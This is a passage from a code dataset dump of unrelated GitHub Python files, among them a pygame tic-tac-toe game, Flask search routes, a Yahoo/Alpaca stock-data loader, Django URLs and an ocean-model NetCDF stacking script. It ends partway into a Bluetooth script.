pygame.draw.line(win, BLACK, (250, 150), (250, 450))\r\n pygame.draw.line(win, BLACK, (350, 150), (350, 450))\r\n pygame.draw.line(win, BLACK, (150, 250), (450, 250))\r\n pygame.draw.line(win, BLACK, (150, 350), (450, 350))\r\n pygame.display.update()\r\n\r\n board = [(0, 0, \"empty\")]*9\r\n for i in range(9):\r\n board[i] = (200+(i % 3)*100, 200 + (i//3)*100, \"empty\")\r\n\r\n play = True\r\n turn = \"x\"\r\n\r\n while play:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n play = False\r\n run = False\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n m_x, m_y = pygame.mouse.get_pos()\r\n chosen = False\r\n for i in range(9):\r\n x, y = board[i][0], board[i][1]\r\n distx = abs(x - m_x)\r\n disty = abs(y - m_y)\r\n if distx < 50 and disty < 50 and board[i][2] == \"empty\":\r\n field = i\r\n chosen = True\r\n break\r\n if turn == \"x\" and chosen:\r\n draw_x(field, board)\r\n turn = \"o\"\r\n elif turn == \"o\" and chosen:\r\n draw_o(field, board)\r\n turn = \"x\"\r\n pygame.display.update()\r\n if check(\"x\", board):\r\n play = False\r\n display_message(\"X won\")\r\n elif check(\"o\", board):\r\n play = False\r\n display_message(\"O won\")\r\n elif draw(board):\r\n play = False\r\n display_message(\"Draw\")\r\n\r\n pygame.display.update()\r\n\r\n\r\nmain()\r\npygame.quit()\r\n","repo_name":"Esco808/Projects","sub_path":"TicTacToe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17180657179","text":"# 功能：检查scene文件夹下面的mat文件的命名是否正确\n# 原理: 检查Scene文件夹下的mat文件，如果mat文件中名字或相应的路径中出现lx_demo，则报错\n# 备注：目前此检查不适合lx6项目，暂时不做处理\nimport log\nimport os\n\npath = os.path.dirname(os.path.realpath(__file__))\nTARGET_FOLDER = path + \"../../development/client/lx_demo/Assets/Scene\"\nlog_str = ''\n\ndef begincheck():\n\tglobal log_str\n\tmatdict = {}\n\n\tfor dirpath,dirnames,filenames in os.walk(TARGET_FOLDER):\n\t\tfor filename in filenames:\n\t\t\tif filename.endswith(\".mat\"):\n\t\t\t\tres=matdict.setdefault(filename,dirpath+filename)\n\t\t\t\tif res!=(dirpath+filename):\n\t\t\t\t\tshow1=re.findall(r\"lx_demo(.*)$\",res)\n\t\t\t\t\tlog_str+=\"error :\"+show1[0]+\"\\n\"\n\t\t\t\t\t\n\t\t\t\t\tshow2=re.findall(r\"lx_demo(.*)$\",dirpath)\n\t\t\t\t\tlog_str+=\"error !:\"+show2[0]+filename+\"\\n\"\n\t\t\t\t\t\n\nif __name__ == '__main__':\n log.LOG_START(\"MatNameCheck\",\"MatNameCheck\")\n log.LOG_END(\"MatNameCheck\",\"MatNameCheck\")","repo_name":"hzwangchaochen/hello-world","sub_path":"dailyCheck/Script/Checker/checkmat.py","file_name":"checkmat.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"36989948985","text":"from flask import Blueprint, request\nfrom app.models import Question, Search, db\nfrom app.forms import SearchForm\nfrom flask_login import current_user, login_required\nfrom sqlalchemy import inspect\n\nsearch_routes = Blueprint(\"searches\", __name__)\n\n\ndef validation_errors_to_error_messages(validation_errors):\n \"\"\"\n Simple function that turns the WTForms validation errors into a simple list\n \"\"\"\n errorMessages = []\n for field in validation_errors:\n for error in validation_errors[field]:\n errorMessages.append(f'{field} : {error}')\n return errorMessages\n\n\ndef object_as_dict(obj):\n return {c.key: getattr(obj, c.key)\n for c in inspect(obj).mapper.column_attrs}\n\n\ndef quest_ans_formatter(inputs):\n final = {\"questions\": []}\n for input in inputs:\n final_input = object_as_dict(input)\n answers = []\n user = object_as_dict(input.user)\n for answer in input.answers:\n answers.append(object_as_dict(answer))\n final_input[\"answers\"] = answers\n final_input[\"user\"] = user\n\n final[\"questions\"].append(final_input)\n return final\n\n\n@search_routes.route(\"/questions/\", methods=[\"GET\"])\ndef get_results(query):\n # this is to store user's search into history\n if (current_user.is_authenticated):\n desired_search = Search(search=query, user_id=current_user.id)\n db.session.add(desired_search)\n db.session.commit()\n results = Question.query.filter(Question.question.contains(query))\n if results:\n return quest_ans_formatter(results)\n else:\n return {\"message\": \"No results found\"}\n\n\n@search_routes.route(\"/user/\", methods=[\"GET\"])\ndef get_user_searches(id):\n # this is to get user's search history\n results = Search.query.filter(Search.user_id == id)\n final = {\"results\": [result.to_dict() for result in results]}\n return final\n\n\n@search_routes.route('/', methods=[\"DELETE\"])\n@login_required\ndef clear_search():\n searches = Search.query.filter(Search.user_id == current_user.id)\n if len(list(searches)) == 0:\n return {\"message\": \"No history to clear\"}\n if searches:\n for search in searches:\n db.session.delete(search)\n db.session.commit()\n return {\"message\": \"Search History Cleared\"}\n","repo_name":"taddjv/question_overflow","sub_path":"app/api/search_routes.py","file_name":"search_routes.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"7063895427","text":"import pandas as pd\n\nimport pandas_datareader as pdr\nimport datetime as dt\nimport yfinance as yf\nimport os\nimport alpaca_trade_api as tradeapi\n\n\ndef load_from_yahoo(tickers, start, end) :\n\n #start = dt.datetime(2016, 1, 1) -example dates\n #end = dt.datetime(2022, 5, 2)\n #DATA FORMATTING FOR MC Simulation was giving problem, so instead of fetching data in one scoop,\n #did a for loop and constructed the concatanated dataframe as required by MCS\n df=[]\n for tkr in tickers:\n df.append(pdr.get_data_yahoo(tkr, start, end))\n \n portfolio_organized_df = pd.concat(df, axis=1, keys=tickers)\n portfolio_organized_df.rename(columns={'High':'high','Low':'low','Open':'open','Close':'close', 'Volume':'volume', 'Adj Close':'adj close'}, inplace=True)\n \n return portfolio_organized_df\n\n# \n# For ALPACA \n# start_date = pd.Timestamp('2021-04-13', tz='America/New_York').isoformat()\n# end_date = pd.Timestamp('2022-04-13', tz='America/New_York').isoformat()\n\ndef load_from_alpaca(tickers, start_date, end_date):\n\n# Set the variables for the Alpaca API and secret keys\n alpaca_api_key = os.getenv('ALPACA_API_KEY')\n alpaca_secret_key = os.getenv('ALPACA_SECRET_KEY')\n \n # Create the Alpaca tradeapi.REST object\n # YOUR CODE HERE\n \n alpaca_rest_obj = tradeapi.REST(\n alpaca_api_key,\n alpaca_secret_key,\n api_version='v2'\n )\n \n# Set timeframe to 1Day\n timeframe='1Day'\n max\n\n# Format current date as ISO format\n# Set both the start and end date at the date of your prior weekday \n# This will give you the closing price of the previous trading day\n# Alternatively you can use a start and end date of 2020-08-07\n\n# in GET_BARS Set number of rows to 1000 to retrieve the maximum amount of rows=> limit = max_rows\n#setting the rows to 1000 was resulting in the the dataframe with a lot of NaNs. And, running the simulation gave the 30 years returns dataframe with all 1s!!\n#I played with this number and with numbers below 1500 or so it was doing this. so I put the number at 3000 just so I could run properly.\n max_rows=10000\n\n# start_date = pd.Timestamp('2021-04-13', tz='America/New_York').isoformat()\n# end_date = pd.Timestamp('2022-04-13', tz='America/New_York').isoformat()\n\n portfolio_df = alpaca_rest_obj.get_bars(\n tickers,\n timeframe,\n start=start_date,\n end=end_date,\n limit=max_rows\n ).df\n\n# Reorganize the DataFrame\n# Separate ticker data\n df=[]\n for tkr in tickers:\n df.append(portfolio_df[portfolio_df['symbol']==tkr].drop('symbol', axis=1))\n \n# Concatenate the ticker DataFrames\n\n portfolio_organized_df = pd.concat(df, axis=1, keys=tickers)\n portfolio_organized_df.index = portfolio_organized_df.index.date\n\n \n\n# Review the first 5 rows of the Alpaca DataFrame\n# YOUR CODE HERE\n portfolio_organized_df.tail()\n return portfolio_organized_df\n","repo_name":"doble196/CRYVESTO","sub_path":"CRYVESTO_app/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"73159426062","text":"from django.urls import path\n\nfrom .views import (country_list_view, film_delete, film_list_create,\n film_retrieve, film_search, film_update, genre_delete,\n genre_list_create, genre_retrieve, genre_search,\n genre_update)\n\nurlpatterns = [\n # countries\n path('countries/', country_list_view),\n\n # genres\n path('genres/', genre_list_create),\n path('genres/search/', genre_search),\n path('genres//', genre_retrieve),\n path('genres//update/', genre_update),\n path('genres//delete/', genre_delete),\n\n # films\n path('', film_list_create),\n path('search/', film_search),\n path('/', film_retrieve, name='film_retrieve'),\n path('/update/', film_update),\n path('/delete/', film_delete),\n]\n","repo_name":"TeraBasedProgrammer/films-api-service","sub_path":"films/films/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"17918723307","text":"# ch10_31.py\nA = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'k'}\nB = {'a', 'b', 'c'}\nC = {'k', 'm', 'n'}\n# 測試A和B集合\nboolean = A.issuperset(B) # 測試\nprint(\"A集合是B集合的父集合傳回值是 \", boolean)\n\n# 測試A和C集合\nboolean = A.issuperset(C) # 測試\nprint(\"A集合是C集合的父集合傳回值是 \", boolean)\n\n","repo_name":"BennyNTHU/Python","sub_path":"Ch10集合/3.集合適用的函數/ch10_31.py","file_name":"ch10_31.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"28635610607","text":"import pymorphy2\n\nclass Person():\n __age = 0\n # test = 89\n # _test = 98\n # __test = 7545\n\n def __init__(self, name: str):\n self.name = name\n\n @property\n def age(self):\n return self.__age\n \n @age.setter\n def age(self, age):\n self.__age = age\n\n @staticmethod\n def is_adult(age):\n print(age)\n if age > 18:\n return \"Взрослый\"\n else:\n return \"Меньше 18 лет\"\n \n\ndef multiply_age(age: int):\n print(age)\n return age ** 2\n\n\nprint(\"Распечатка значения name переменной\", __name__)\nif __name__ == '__main__':\n beta_person = Person('Beta')\n beta_person.age = 35\n\n print(\"Имя созданного класса\", beta_person.name)\n print(beta_person.__dict__)\n print(\"Возраст созданного \", beta_person.__class__, beta_person.age)\n beta_person.age = 54\n print(\"Возраст созданного \", beta_person.__class__, beta_person.age)\n\n gamma_person = Person('Gamma')\n print(\"Имя созданного класса\", gamma_person.name)\n print(gamma_person.__dict__)\n print(\"Возраст созданного \", gamma_person.__class__, gamma_person.age)\n\n print(gamma_person.is_adult(gamma_person.age))\n #print(gamma_person.is_adult())\n\n print(beta_person.is_adult(multiply_age(beta_person.age)))","repo_name":"Allyonzy/ArchitectInno2023","sub_path":"person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"44711357336","text":"from datetime import date\nfrom datetime import date \natual = date.today().year\nsexo = int(input('Para sexo MASCULINO digite \\'1\\', e FEMININO digite \\'2\\': '))\n#para o sexo masculino\nif sexo == 1: \n ano = int(input('Ano de nascimento: '))\n idade = atual - ano\n\n if idade < 18:\n marcação = 18 - idade\n print('Ainda não é o seu ano de alistamento, o seu será em {} anos.' .format(marcação))\n elif idade == 18:\n print('Você deverá comparecer para o alistamento ao exercito este ano')\n elif idade > 18:\n atraso = idade - 18\n print('Caso não tenha se alistado ate o momento, o senhor deveria ter se alistado {} anos atrás.' .format(atraso))\n#para o feminino \nelif sexo == 2: \n print('No Brasil, mulheres não são obrigadas a se alistarem no exercito.')\n\n","repo_name":"P3DR0DEV/Python","sub_path":"exercicios_mundo_2/ex039.py","file_name":"ex039.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6195854022","text":"#!/usr/bin/env python\n#\n# A script to ingest a bunch of episodes and plot how the PID parameters\n# progressed over time. This gives some idea on how learning progresses.\n#\nimport re\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\n\nfrom episodes import COL_TIME, COL_KP, COL_KI, COL_KD, COL_BENCHMARK, COL_ERROR, COL_STATE, STATE_NORMAL, STATE_FALLBACK\n\n\nCOL_KP_END = 'applied proportional gain $K_p$'\nCOL_KI_END = 'applied integral gain $K_i$'\nCOL_KD_END = 'applied derivative gain $K_d$'\n\nLEARNING_COLUMNS = [\n COL_TIME,\n COL_KP, COL_KI, COL_KD, # plotted in red: the start values\n COL_KP_END, COL_KI_END, COL_KD_END, # plotted in blue, the end values\n COL_BENCHMARK, COL_ERROR, # the sum of the squared error\n COL_STATE # the final state of the episode\n]\nlearning = pd.DataFrame(columns=LEARNING_COLUMNS)\n\nfiles = sys.argv[1:]\nfiles.sort()\nfor file in files:\n episode = pd.read_parquet(file)\n\n t_string = re.sub('.*/', '', file)\n t_string = re.sub('\\..*', '', t_string)\n t = datetime.strptime(t_string, '%Y-%m-%dT%H%M%S')\n\n first_step = episode.iloc[0]\n last_step = episode.iloc[-1]\n cumulative_error = (episode[COL_ERROR]**2).sum()\n\n episode_summary = [t,\n first_step[COL_KP], first_step[COL_KI], first_step[COL_KD],\n last_step[COL_KP], last_step[COL_KI], last_step[COL_KD],\n first_step[COL_BENCHMARK], cumulative_error,\n last_step[COL_STATE]]\n learning.loc[len(learning)] = episode_summary\n\nplt.rcParams['lines.linewidth'] = 0.8\nfig, axes = plt.subplot_mosaic(\"EEE;PPP;III;DDD;xyz;klm;uvw\", figsize=(15,15))\n\naxes['E'].plot(learning[COL_TIME], learning[COL_ERROR], color='orange', label='episode error $RR_T$')\naxes['E'].plot(learning[COL_TIME], learning[COL_BENCHMARK], color='lightgrey', label=COL_BENCHMARK)\naxes['E'].set_ylim((0, first_step[COL_BENCHMARK] * 4))\naxes['E'].legend(loc='upper left')\n\n# ---\n\naxes['P'].plot(learning[COL_TIME], learning[COL_KP], color='r', linestyle=':', label='proposed ' + COL_KP)\naxes['P'].plot(learning[COL_TIME], learning[COL_KP_END], color='b', label=COL_KP_END)\naxes['P'].legend(loc='upper left')\n\naxes['I'].plot(learning[COL_TIME], learning[COL_KI], color='r', linestyle=':', label='proposed ' +COL_KI)\naxes['I'].plot(learning[COL_TIME], learning[COL_KI_END], color='b', label=COL_KI_END)\naxes['I'].legend(loc='upper left')\n\naxes['D'].plot(learning[COL_TIME], learning[COL_KD], color='r', linestyle=':', label='proposed ' +COL_KD)\naxes['D'].plot(learning[COL_TIME], learning[COL_KD_END], color='b', label=COL_KD_END)\naxes['D'].legend(loc='upper left')\n\n# ---\n\nonly_proposed = learning.loc[learning[COL_STATE] == STATE_FALLBACK]\nonly_applied = learning.loc[learning[COL_STATE] == STATE_NORMAL]\n\naxes['x'].scatter(only_proposed[COL_KP], only_proposed[COL_KI], color='r', alpha=0.2)\naxes['x'].scatter(only_applied[COL_KP_END], only_applied[COL_KI_END], color='b')\naxes['x'].set_xlabel(COL_KP)\naxes['x'].set_ylabel(COL_KI)\n\naxes['y'].scatter(only_proposed[COL_KI], only_proposed[COL_KD], color='r', alpha=0.2)\naxes['y'].scatter(only_applied[COL_KI_END], only_applied[COL_KD_END], color='b')\naxes['y'].set_xlabel(COL_KI)\naxes['y'].set_ylabel(COL_KD)\n\naxes['z'].scatter(only_proposed[COL_KD], only_proposed[COL_KP], color='r', alpha=0.2)\naxes['z'].scatter(only_applied[COL_KD_END], only_applied[COL_KP_END], color='b')\naxes['z'].set_xlabel(COL_KD)\naxes['z'].set_ylabel(COL_KP)\n\n# ---\n\nmin_p = only_applied[COL_KP_END].min() * 0.9\nmax_p = only_applied[COL_KP_END].max() * 1.1\nmin_i = only_applied[COL_KI_END].min() * 0.9\nmax_i = only_applied[COL_KI_END].max() * 1.1\nmin_d = only_applied[COL_KD_END].min() * 0.9\nmax_d = only_applied[COL_KD_END].max() * 1.1\nmin_e = only_applied[COL_ERROR].min() * 0.9\nmax_e = only_applied[COL_ERROR].max() * 1.1\n\naxes['k'].scatter(only_proposed[COL_KP_END], only_proposed[COL_KI_END], color='r', alpha=0.2)\naxes['k'].scatter(only_applied[COL_KP_END], only_applied[COL_KI_END], color='b')\nif len(only_applied) > 1:\n axes['k'].plot(np.unique(only_applied[COL_KP_END]), np.poly1d(np.polyfit(only_applied[COL_KP_END], only_applied[COL_KI_END], 1))(np.unique(only_applied[COL_KP_END])), color='g')\naxes['k'].set_xlim((min_p, max_p))\naxes['k'].set_ylim((min_i, max_i))\naxes['k'].set_ylabel(COL_KI)\n\naxes['l'].scatter(only_proposed[COL_KI_END], only_proposed[COL_KD_END], color='r', alpha=0.2)\naxes['l'].scatter(only_applied[COL_KI_END], only_applied[COL_KD_END], color='b')\nif len(only_applied) > 1:\n axes['l'].plot(np.unique(only_applied[COL_KI_END]), np.poly1d(np.polyfit(only_applied[COL_KI_END], only_applied[COL_KD_END], 1))(np.unique(only_applied[COL_KI_END])), color='g')\naxes['l'].set_xlim((min_i, max_i))\naxes['l'].set_ylim((min_d, max_d))\naxes['l'].set_ylabel(COL_KD)\n\naxes['m'].scatter(only_proposed[COL_KD_END], only_proposed[COL_KP_END], color='r', alpha=0.2)\naxes['m'].scatter(only_applied[COL_KD_END], only_applied[COL_KP_END], color='b')\nif len(only_applied) > 1:\n axes['m'].plot(np.unique(only_applied[COL_KD_END]), np.poly1d(np.polyfit(only_applied[COL_KD_END], only_applied[COL_KP_END], 1))(np.unique(only_applied[COL_KD_END])), color='g')\naxes['m'].set_xlim((min_d, max_d))\naxes['m'].set_ylim((min_p, max_p))\naxes['m'].set_ylabel(COL_KP)\n\n# ---\n\naxes['u'].scatter(only_proposed[COL_KP_END], only_proposed[COL_ERROR], color='r', alpha=0.2)\naxes['u'].scatter(only_applied[COL_KP_END], only_applied[COL_ERROR], color='b')\nmin_err_kp = only_applied[COL_KP_END][only_applied[COL_ERROR].idxmin()]\naxes['u'].axvline(min_err_kp, color='g', label=f\"$K_p$: {min_err_kp}\")\naxes['u'].set_xlim((min_p, max_p))\naxes['u'].set_xlabel(COL_KP)\naxes['u'].set_ylim((min_e, max_e))\naxes['u'].set_ylabel(COL_ERROR)\naxes['u'].legend(loc='upper left')\n\naxes['v'].scatter(only_proposed[COL_KI_END], only_proposed[COL_ERROR], color='r', alpha=0.2)\naxes['v'].scatter(only_applied[COL_KI_END], only_applied[COL_ERROR], color='b')\nmin_err_ki = only_applied[COL_KI_END][only_applied[COL_ERROR].idxmin()]\naxes['v'].axvline(min_err_ki, color='g', label=f\"$K_i$: {min_err_ki}\")\naxes['v'].set_xlim((min_i, max_i))\naxes['v'].set_ylim((min_e, max_e))\naxes['v'].set_xlabel(COL_KI)\naxes['v'].legend(loc='upper left')\n\naxes['w'].scatter(only_proposed[COL_KD_END], only_proposed[COL_ERROR], color='r', alpha=0.2)\naxes['w'].scatter(only_applied[COL_KD_END], only_applied[COL_ERROR], color='b')\nmin_err_kd = only_applied[COL_KD_END][only_applied[COL_ERROR].idxmin()]\naxes['w'].axvline(min_err_kd, color='g', label=f\"$K_d$: {min_err_kd}\")\naxes['w'].set_xlim((min_d, max_d))\naxes['w'].set_ylim((min_e, max_e))\naxes['w'].set_xlabel(COL_KD)\naxes['w'].legend(loc='upper left')\n\n# ---\n\nplt.savefig(\"learning.png\")\nplt.close(fig)\n\nfig = plt.figure()\nax = fig.add_subplot(projection='3d')\nax.scatter(only_proposed[COL_KP], only_proposed[COL_KI], only_proposed[COL_KD], color='r', alpha=0.2, label='proposed')\nax.scatter(only_applied[COL_KP_END], only_applied[COL_KI_END], only_applied[COL_KD_END], color='b', label='applied')\n\nax.set_xlabel(COL_KP)\nax.set_ylabel(COL_KI)\nax.set_zlabel(COL_KD)\n\nax.legend(loc=\"upper left\")\n\nplt.savefig('learning-3d.png')\nplt.close(fig)\n\n","repo_name":"kjkoster/stability-preserving-pid-autotuner","sub_path":"plot_learning.py","file_name":"plot_learning.py","file_ext":"py","file_size_in_byte":7342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41862862536","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport netCDF4 as nc4\nfrom datetime import datetime, timedelta\nimport argparse\nimport ast\nimport sys\n\ndef iter_number_to_year_month(iter_number,seconds_per_iter):\n total_seconds = iter_number*seconds_per_iter\n date = datetime(1992,1,1) + timedelta(seconds=total_seconds)\n year = date.year\n month=date.month\n year_month = str(year)+'{:02d}'.format(month)\n return(year_month,year,month)\n\ndef read_grid_geometry_from_nc(config_dir, model_name):\n file_path = os.path.join(config_dir, 'nc_grids', model_name + '_grid.nc')\n ds = nc4.Dataset(file_path)\n XC = ds.variables['XC'][:,:]\n YC = ds.variables['YC'][:,:]\n AngleCS = ds.variables['AngleCS'][:, :]\n AngleSN = ds.variables['AngleSN'][:, :]\n ds.close()\n return(XC, YC, AngleCS, AngleSN)\n\ndef stack_files_to_monthly_nc(output_dir, output_file, subset_folder, subset,\n iteration_subset, seconds_per_iter, XC, YC):\n\n if subset == 'EtaN_day_snap':\n var_names = ['EtaN']\n elif subset == 'SI_daily_snap':\n var_names = ['SIarea','SIheff','SIhsnow','SIuice','SIvice']\n elif subset == 'TS_surf_daily_snap':\n var_names = ['Theta','Theta_1','Salt','Salt_1']\n elif subset == 'TS_AW_daily_snap':\n var_names = ['Theta','Theta_1','Salt','Salt_1']\n else:\n raise ValueError('Variables names not defined for this subset')\n\n iterations = np.array(iteration_subset)\n time = np.zeros((len(iteration_subset),))\n\n output_array = np.zeros((len(var_names),len(iteration_subset),np.shape(XC)[0],np.shape(XC)[1]))\n # first col is for the different variables\n # second col is for the iter number\n # third and fourth are the sizes\n\n counter = 0\n for iter_number in iteration_subset:\n file_path = os.path.join(subset_folder,subset+'.'+'{:010d}'.format(iter_number)+'.data')\n\n grid = np.fromfile(file_path, '>f4')\n grid = np.reshape(grid,(len(var_names),np.shape(XC)[0],np.shape(XC)[1]))\n output_array[:,counter,:,:] = grid\n\n time[counter] = iter_number*seconds_per_iter\n counter+=1\n\n ds = nc4.Dataset(os.path.join(output_dir,output_file),'w')\n ds.createDimension('iterations',len(iterations))\n ds.createDimension('rows',np.shape(XC)[0])\n ds.createDimension('cols',np.shape(XC)[1])\n\n tvar = ds.createVariable('time','f4',('iterations',))\n ivar = ds.createVariable('iterations', 'f4', ('iterations',))\n\n for vn in range(len(var_names)):\n if var_names[vn] not in ['Theta_1','Salt_1']:\n evar = ds.createVariable(var_names[vn], 'f4', ('iterations','rows','cols'))\n evar[:, :, :] = output_array[vn,:, :, :]\n\n tvar[:] = time\n ivar[:] = iterations\n\n xvar = ds.createVariable('longitude', 'f4', ('rows', 'cols'))\n xvar[:, :] = XC\n\n yvar = ds.createVariable('latitude', 'f4', ('rows', 'cols'))\n yvar[:, :] = YC\n\n ds.close()\n\ndef stack_files_to_annual_nc(output_dir, output_file, subset_folder, subset,\n iteration_subset, seconds_per_iter, XC, YC, Nr):\n\n if subset == 'EtaN_mon_mean':\n var_names = ['EtaN']\n elif subset == 'state_3D_mon_snap':\n var_names = ['Theta','Salt']\n elif subset == 'state_3D_mon_mean':\n var_names = ['Theta','Salt']\n elif subset == 'vel_3D_mon_snap':\n var_names = ['Uvel','Vvel']\n elif subset == 'vel_3D_mon_mean':\n var_names = ['Uvel','Vvel']\n else:\n raise ValueError('Variables names not defined for this subset')\n\n iterations = np.array(iteration_subset)\n time = np.zeros((len(iteration_subset),))\n\n output_array = np.zeros((len(var_names)*Nr,len(iteration_subset),np.shape(XC)[0],np.shape(XC)[1]))\n # first col is for the different variables\n # second col is for the iter number\n # third and fourth are the sizes\n\n counter = 0\n for iter_number in iteration_subset:\n file_path = os.path.join(subset_folder,subset+'.'+'{:010d}'.format(iter_number)+'.data')\n\n grid = np.fromfile(file_path, '>f4')\n\n if subset in ['EtaN_mon_mean']:\n grid = np.reshape(grid,(len(var_names),np.shape(XC)[0],np.shape(XC)[1]))\n output_array[:,counter,:,:] = grid\n else:\n grid = np.reshape(grid,(len(var_names)*Nr,np.shape(XC)[0],np.shape(XC)[1]))\n output_array[:, counter, :, :] = grid\n\n time[counter] = iter_number*seconds_per_iter\n counter+=1\n\n ds = nc4.Dataset(os.path.join(output_dir,output_file),'w')\n ds.createDimension('iterations',len(iterations))\n ds.createDimension('rows',np.shape(XC)[0])\n ds.createDimension('cols',np.shape(XC)[1])\n\n tvar = ds.createVariable('time','f4',('iterations',))\n ivar = ds.createVariable('iterations', 'f4', ('iterations',))\n\n for vn in range(len(var_names)):\n if var_names[vn] not in ['Theta_1','Salt_1']:\n evar = ds.createVariable(var_names[vn], 'f4', ('iterations','rows','cols'))\n evar[:, :, :] = output_array[vn,:, :, :]\n\n tvar[:] = time\n ivar[:] = iterations\n\n xvar = ds.createVariable('longitude', 'f4', ('rows', 'cols'))\n xvar[:, :] = XC\n\n yvar = ds.createVariable('latitude', 'f4', ('rows', 'cols'))\n yvar[:, :] = YC\n\n ds.close()\n\n\n\n########################################################################################################################\n\ndef stack_data_to_nc(config_dir, subset):\n\n L1_model_name = 'L1_CE_Greenland'\n\n if subset=='All':\n subsets = ['EtaN_day_snap','SI_daily_snap','TS_surf_daily_snap','TS_AW_daily_snap',\n 'EtaN_mon_mean','state_3D_mon_mean','state_3D_mon_snap','vel_3D_mon_mean','vel_3D_mon_snap']\n else:\n subsets = [subset]\n\n for subset in subsets:\n\n print(' - Creating datasets for the '+subset+' subset')\n\n # get all of the iteration numbers\n subset_folder = os.path.join(config_dir, 'L1_grid', L1_model_name, 'run', 'diags', subset)\n iter_numbers = []\n for file_name in os.listdir(subset_folder):\n if file_name[-4:] == 'data':\n iter_number = int(file_name.split('.')[-2])\n iter_numbers.append(iter_number)\n iter_numbers = sorted(iter_numbers)\n\n # get the grid geometry\n XC, YC, AngleCS, AngleSN = read_grid_geometry_from_nc(config_dir,L1_model_name)\n\n Nr = 50\n\n seconds_per_iter = 300\n unique_year_months = []\n unique_years = []\n year_months = []\n years = []\n for iter_number in iter_numbers:\n year_month, year, month = iter_number_to_year_month(iter_number, seconds_per_iter)\n year_months.append(year_month)\n years.append(str(year))\n if year_month not in unique_year_months:\n unique_year_months.append(year_month)\n if str(year) not in unique_years:\n unique_years.append(str(year))\n\n if subset in ['EtaN_day_snap','SI_daily_snap','TS_surf_daily_snap','TS_AW_daily_snap']:\n print(' - Found data for the following year-months: '+str(unique_year_months))\n elif subset in ['EtaN_mon_mean','state_3D_mon_mean','state_3D_mon_snap','vel_3D_mon_mean','vel_3D_mon_snap']:\n print(' - Found data for the following years: ' + str(unique_years))\n else:\n raise ValueError('Identify whether this data should be stored monthly or yearly')\n\n if 'results' not in os.listdir(os.path.join(config_dir,'L1_grid',L1_model_name)):\n os.mkdir(os.path.join(config_dir,'L1_grid',L1_model_name,'results'))\n if subset not in os.listdir(os.path.join(config_dir, 'L1_grid',L1_model_name,'results')):\n os.mkdir(os.path.join(config_dir, 'L1_grid', L1_model_name, 'results', subset))\n output_dir = os.path.join(config_dir, 'L1_grid', L1_model_name, 'results', subset)\n\n if subset in ['EtaN_day_snap', 'SI_daily_snap', 'TS_surf_daily_snap', 'TS_AW_daily_snap']:\n for year_month in unique_year_months:\n # get the iter bounds\n start_index = year_months.index(year_month)\n end_index = len(year_months) - 1 - year_months[::-1].index(year_month)\n iteration_subset = iter_numbers[start_index:end_index + 1]\n min_iter = np.min(np.array(iteration_subset))\n max_iter = np.max(np.array(iteration_subset))\n output_file = 'L1_' + subset + '.' + year_month + '.' + str(int(min_iter)) + '_' + str(int(max_iter)) + '.nc'\n if output_file not in os.listdir(output_dir):\n print(' - Creating the file for '+str(year_month))\n stack_files_to_monthly_nc(output_dir,output_file,subset_folder,subset,\n iteration_subset,seconds_per_iter, XC, YC)\n else:\n print(' - '+output_file+' already created')\n\n if subset in ['EtaN_mon_mean','state_3D_mon_mean','state_3D_mon_snap','vel_3D_mon_mean','vel_3D_mon_snap']:\n for year in unique_years:\n # get the iter bounds\n start_index = years.index(year)\n end_index = len(years) - 1 - years[::-1].index(year)\n iteration_subset = iter_numbers[start_index:end_index + 1]\n min_iter = np.min(np.array(iteration_subset))\n max_iter = np.max(np.array(iteration_subset))\n output_file = 'L1_' + subset + '.' + year + '.' + str(int(min_iter)) + '_' + str(int(max_iter)) + '.nc'\n if output_file not in os.listdir(output_dir):\n print(' - Creating the file for '+str(year))\n stack_files_to_annual_nc(output_dir,output_file,subset_folder,subset,\n iteration_subset,seconds_per_iter, XC, YC, Nr)\n else:\n print(' - '+output_file+' already created')\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"-d\", \"--config_dir\", action=\"store\",\n help=\"The directory where the L1, L1, and L3 configurations are stored.\", dest=\"config_dir\",\n type=str, required=True)\n\n parser.add_argument(\"-s\", \"--subset\", action=\"store\",\n help=\"The subset to stack (e.g. surfDiag, awDiag, seaiceDiag, dynDiag).\", dest=\"subset\",\n type=str, required=False, default='All')\n\n args = parser.parse_args()\n config_dir = args.config_dir\n subset = args.subset\n\n stack_data_to_nc(config_dir, subset)\n","repo_name":"mhwood/downscale_greenland","sub_path":"L1/L1_CE_Greenland/utils/post_processing/stack_mds_output_to_nc.py","file_name":"stack_mds_output_to_nc.py","file_ext":"py","file_size_in_byte":10685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40738681945","text":"'''\nCreated on 27 Oct 2017\n\n@author: murray\n'''\nimport sys\nimport socket\nimport threading\nfrom bluetooth import *\nfrom winerror import 